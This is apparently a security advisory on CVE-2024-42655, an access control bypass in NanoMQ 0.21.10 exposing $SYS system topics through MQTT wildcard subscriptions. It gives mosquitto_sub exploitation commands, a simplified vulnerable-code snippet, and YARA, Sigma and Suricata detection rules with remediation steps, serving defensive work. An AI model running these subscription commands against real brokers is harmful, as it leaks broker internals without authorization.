CVE-2024-42655

Executive Summary

CVE-2024-42655 is an access control vulnerability in NanoMQ v0.21.10 that allows attackers to bypass security restrictions and access sensitive system topic messages using MQTT wildcard characters. The vulnerability stems from improper authorization checks when processing MQTT subscription requests containing wildcards (+ and #). By subscribing to topics like $SYS/# or $SYS/+/..., an unauthenticated or unauthorized client can read internal system metrics, broker status, and other sensitive operational data that should be restricted. This issue is particularly critical in IoT and edge computing environments where NanoMQ is deployed as a lightweight message broker.

Supply Chain & Package Security

NanoMQ is distributed as open-source software via GitHub and is commonly integrated into edge computing and IoT solutions. The vulnerability affects version 0.21.10, and no official patch has been released as of the analysis date. Organizations using NanoMQ in their supply chain should immediately assess exposure and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over MQTT protocol.
• Attack Complexity (AC): Low (L) – No special conditions required; standard MQTT client can exploit.
• Privileges Required (PR): None (N) – No authentication needed if broker allows anonymous connections.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Sensitive system topics exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)
Threat Level: High – Exploitation is trivial and can lead to full disclosure of broker internals.

Deep Dive & Mechanics

NanoMQ implements access control lists (ACLs) to restrict access to system topics (prefixed with $SYS/). However, the ACL evaluation logic in version 0.21.10 fails to properly handle MQTT wildcard characters. When a client subscribes to a topic like $SYS/#, the broker should reject the subscription if the client lacks permission. Due to a flaw in the topic matching algorithm, the wildcard expansion bypasses the ACL check, allowing the client to receive all messages under the $SYS/ hierarchy.

The vulnerable code path is in the subscription handler, where the topic filter is matched against the ACL rules. The bug occurs because the wildcard expansion is performed before the ACL check, or the ACL check does not account for wildcards correctly. This allows an attacker to enumerate all system topics and receive real-time updates.

Vulnerable vs. Patched Code

Vulnerable Code (NanoMQ 0.21.10):

// Simplified representation of the flawed ACL check
bool check_acl(const char *topic, client_t *client) {
    // ACL check is performed on the raw topic filter
    // but wildcard expansion happens later
    if (topic_has_wildcard(topic)) {
        // BUG: Wildcard topics are not properly validated against ACL
        return true; // Incorrectly allows access
    }
    // ... rest of ACL logic
}

Patched Code (Hypothetical fix):

// Corrected ACL check
bool check_acl(const char *topic, client_t *client) {
    // Expand wildcards first, then check each expanded topic
    list_t *expanded_topics = expand_wildcards(topic);
    for each expanded_topic in expanded_topics {
        if (!check_single_topic_acl(expanded_topic, client)) {
            return false; // Deny if any expanded topic is restricted
        }
    }
    return true;
}

The fix requires that wildcard subscriptions be expanded and each resulting topic be individually validated against the ACL before allowing the subscription.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• NanoMQ 0.21.10 running with default configuration (anonymous access enabled).
• MQTT client (e.g., mosquitto_sub).

Exploitation Steps:

1. Connect to the broker:

   mosquitto_sub -h <target_ip> -p 1883 -t '$SYS/#' -v
   

2. Observe the output containing system metrics, broker uptime, client connections, etc.
3. For more granular enumeration, use:

   mosquitto_sub -h <target_ip> -p 1883 -t '$SYS/broker/+/#' -v
   

Expected Output:

$SYS/broker/uptime 12345 seconds
$SYS/broker/clients/connected 42
$SYS/broker/load/bytes/received 1048576
...

Blue Team (Detection & Response)

Detection:

• Monitor MQTT subscription requests for wildcard patterns targeting $SYS/ topics.
• Alert on any client subscribing to $SYS/# or $SYS/+/... that is not explicitly authorized.

Response:

1. Immediately isolate the affected broker.
2. Review broker logs for unauthorized subscription attempts.
3. Implement network segmentation to restrict MQTT traffic.
4. Apply temporary ACL rules to block wildcard subscriptions on system topics.

Indicators of Compromise (IOCs)

• Network IOCs:
  • MQTT SUBSCRIBE packets with topic filter $SYS/# or $SYS/+/... from unauthorized clients.
  • Unusual volume of messages on $SYS/ topics from a single client.
• Log IOCs:
  • Broker logs showing repeated subscription attempts to system topics with wildcards.
  • ACL denial logs (if enabled) for wildcard topics.
• File IOCs:
  • Modified NanoMQ configuration files (e.g., nanomq.conf) with relaxed ACL settings.

Detection Engineering

YARA Rule

rule CVE_2024_42655_NanoMQ_ACL_Bypass {
    meta:
        description = "Detects MQTT SUBSCRIBE packets exploiting CVE-2024-42655"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42655"
    strings:
        $wildcard_sys = /\$SYS\/(\+|#|.+\/\+|.+\/#)/ nocase
        $mqtt_subscribe = { 82 ?? ?? ?? ?? }  // MQTT SUBSCRIBE packet header
    condition:
        $mqtt_subscribe and $wildcard_sys
}

Sigma Rule

title: MQTT Wildcard Subscription to System Topics
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects MQTT SUBSCRIBE packets with wildcard patterns targeting $SYS/ topics
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: mqtt
detection:
    selection:
        topic|contains: '$SYS/'
        topic|contains|any:
            - '#'
            - '+'
    condition: selection
falsepositives:
    - Authorized monitoring clients
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42655 NanoMQ ACL Bypass - Wildcard Subscription to $SYS/"; flow:to_server; content:"|82|"; depth:1; content:"$SYS/"; distance:2; within:100; pcre:"/\$SYS\/(\+|#|.+\/\+|.+\/#)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigations:

1. Disable anonymous access: Configure NanoMQ to require authentication for all clients.
2. Implement strict ACLs: Explicitly deny wildcard subscriptions on $SYS/ topics for all non-admin clients.
3. Network segmentation: Place NanoMQ brokers in isolated network segments with firewall rules limiting MQTT traffic.
4. Monitor and alert: Deploy the detection rules above to identify exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of NanoMQ once available.
• Apply the code fix described in the "Vulnerable vs. Patched Code" section if compiling from source.
• Consider using a more mature MQTT broker (e.g., Mosquitto, EMQX) with proven ACL implementations.

Workaround Configuration (nanomq.conf):

# Disable anonymous access
allow_anonymous = false

# Restrict system topics
acl {
    deny = ["$SYS/#"]
}

Valters IT